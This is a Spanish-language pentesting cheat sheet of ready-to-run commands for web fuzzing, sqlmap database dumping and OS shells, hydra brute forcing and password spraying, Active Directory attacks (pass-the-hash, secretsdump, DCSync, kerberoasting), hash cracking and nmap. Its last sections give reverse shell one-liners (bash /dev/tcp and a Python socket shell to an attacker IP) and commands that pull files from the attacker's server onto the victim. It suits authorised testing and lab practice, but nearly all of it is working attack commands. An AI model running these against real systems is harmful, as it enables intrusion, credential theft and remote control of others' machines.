# Comandos de herramientas de pentesting

Referencia densa de las invocaciones mas usadas de las herramientas que NO traen
man page. Marcadores: `IP` objetivo, `TU_IP` atacante, `DOM` dominio, `USER`,
`PASS`, `HASH` (NTLM), `URL`, `WL` wordlist.

## Descubrimiento de contenido web

```bash
# ffuf
ffuf -u http://IP/FUZZ -w WL -mc 200,301,302,401,403 -e .php,.txt,.html
ffuf -u http://IP/ -w WL -H "Host: FUZZ.dominio.com" -fs 4242        # vhost
ffuf -u "http://IP/page?FUZZ=1" -w WL -fw 42                          # parametros
ffuf -u http://IP/api/FUZZ -w WL -mc all -fc 404 -recursion

# feroxbuster
feroxbuster -u http://IP -w WL -x php,txt,html -d 2 -t 50
feroxbuster -u http://IP --filter-status 404 --extract-links

# gobuster
gobuster dir -u http://IP -w WL -x php,txt -t 40 -b 404
gobuster dns -d dominio.com -w WL
gobuster vhost -u http://IP -w WL --append-domain
```

## Inyeccion SQL automatica (sqlmap)

```bash
sqlmap -u "http://IP/page?id=1" --batch --dbs
sqlmap -u "http://IP/page?id=1" -D basedatos --tables
sqlmap -u "http://IP/page?id=1" -D basedatos -T users --dump
sqlmap -r peticion.txt --batch --level 5 --risk 3          # peticion de Burp
sqlmap -u URL --os-shell                                    # a shell
sqlmap -u URL --data "user=1&pass=1" -p user               # POST
```

## Escaneo de vulnerabilidades (nuclei)

```bash
nuclei -u http://IP
nuclei -l objetivos.txt -severity critical,high
nuclei -u http://IP -t cves/ -t exposures/
nuclei -u http://IP -tags sqli,xss,lfi
```

## Fuerza bruta de credenciales (hydra)

```bash
hydra -l USER -P WL ssh://IP
hydra -L users.txt -P WL IP ssh -t 4
hydra -l USER -P WL IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
hydra -l USER -P WL ftp://IP
hydra -L users.txt -p PASS smb://IP                         # spraying
```

## Active Directory y Windows (impacket, netexec, evil-winrm)

```bash
# CrackMapExec / NetExec — el navaja suiza de AD
crackmapexec smb IP -u USER -p PASS --shares
crackmapexec smb 10.0.0.0/24 -u USER -p PASS                # barrido/spray
crackmapexec smb IP -u USER -H HASH --sam                   # pass-the-hash + dump SAM
crackmapexec winrm IP -u USER -p PASS -x "whoami"
netexec smb IP -u USER -p PASS --users --groups

# Impacket
impacket-secretsdump DOM/USER:PASS@IP                       # dump de hashes
impacket-secretsdump -just-dc DOM/USER@IP -hashes :HASH     # DCSync (con priv)
impacket-GetUserSPNs DOM/USER:PASS -dc-ip IP -request       # kerberoasting
impacket-GetNPUsers DOM/ -usersfile users.txt -no-pass      # AS-REP roasting
impacket-getTGT DOM/USER:PASS                               # pedir TGT (Pass-the-Ticket)
impacket-psexec DOM/USER:PASS@IP                            # shell SYSTEM
impacket-wmiexec DOM/USER:PASS@IP                           # shell sin tocar disco
impacket-smbexec DOM/USER@IP -hashes :HASH
impacket-mssqlclient DOM/USER:PASS@IP -windows-auth

# BloodHound (recoleccion)
bloodhound-python -d DOM -u USER -p PASS -ns IP -c all
# despues: neo4j console; y cargar el zip en BloodHound

# Evil-WinRM (shell interactiva Windows)
evil-winrm -i IP -u USER -p PASS
evil-winrm -i IP -u USER -H HASH                            # pass-the-hash
```

## Cracking de contraseñas (john, hashcat)

```bash
# John
john --wordlist=WL hashes.txt
john --wordlist=WL --format=NT hashes.txt
zip2john fichero.zip > hash; john hash
ssh2john id_rsa > hash; john --wordlist=WL hash

# Hashcat (modo -m)
hashcat -m 1000 hashes.txt WL          # NTLM
hashcat -m 0    hashes.txt WL          # MD5
hashcat -m 100  hashes.txt WL          # SHA1
hashcat -m 1800 hashes.txt WL          # sha512crypt (/etc/shadow $6$)
hashcat -m 13100 hashes.txt WL         # Kerberoast (TGS)
hashcat -m 18200 hashes.txt WL         # AS-REP
hashcat -m 5600 hashes.txt WL          # NetNTLMv2 (Responder)
hashcat -m 22000 hash.hc22000 WL       # WPA/WPA2
```

## Recon de red (nmap, comun)

```bash
nmap -sn 10.0.0.0/24                                     # hosts vivos
nmap -p- --min-rate 5000 IP                              # todos los puertos, rapido
nmap -sV -sC -p 22,80,443 IP                             # version + scripts
nmap -sU --top-ports 20 IP                               # UDP
nmap --script vuln IP
```

## Shells reversas y estabilizacion

```bash
# Escucha
nc -lvnp 4444
rlwrap nc -lvnp 4444                                     # con historial

# Disparo (Linux)
bash -i >& /dev/tcp/TU_IP/4444 0>&1
sh -i >& /dev/tcp/TU_IP/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

# Estabilizar la TTY tras coger la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z; en tu terminal: stty raw -echo; fg; luego: export TERM=xterm
```

## Transferencia de ficheros

```bash
# Servir desde el atacante
python3 -m http.server 80
impacket-smbserver share $(pwd) -smb2support                 # SMB
# Recibir en la victima
wget http://TU_IP/file -O /tmp/file
curl http://TU_IP/file -o /tmp/file
certutil -urlcache -f http://TU_IP/file file.exe             # Windows
powershell iwr http://TU_IP/file -OutFile file               # Windows
```